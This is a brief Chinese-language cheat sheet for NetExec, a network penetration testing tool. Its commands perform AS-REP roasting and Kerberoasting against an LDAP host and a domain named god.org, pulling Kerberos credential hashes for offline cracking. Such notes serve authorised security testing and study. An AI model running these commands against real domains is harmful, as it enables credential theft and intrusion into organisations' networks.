NetExec使用

NetExec是一款功能强大的自动化网络安全评估与漏洞测试工具,该工具可以帮助广大研究人员以自动化的形式测试大型网络的安全,并通过利用网络服务漏洞来评估目标网络的安全态势。
项目地址:GitHub - Pennyw0rth/NetExec: The Network Execution Tool
wikiInstallation | NetExec
命令啥的上wiki看

1. 常用的命令

获取未开启於身份认证的用户

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt
nxc ldap god.org -u user.txt -p '' --asreproast output.txt

使用Kerberoasting技术检索获取Kerberos5-TGS-REP-etype23哈希

nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt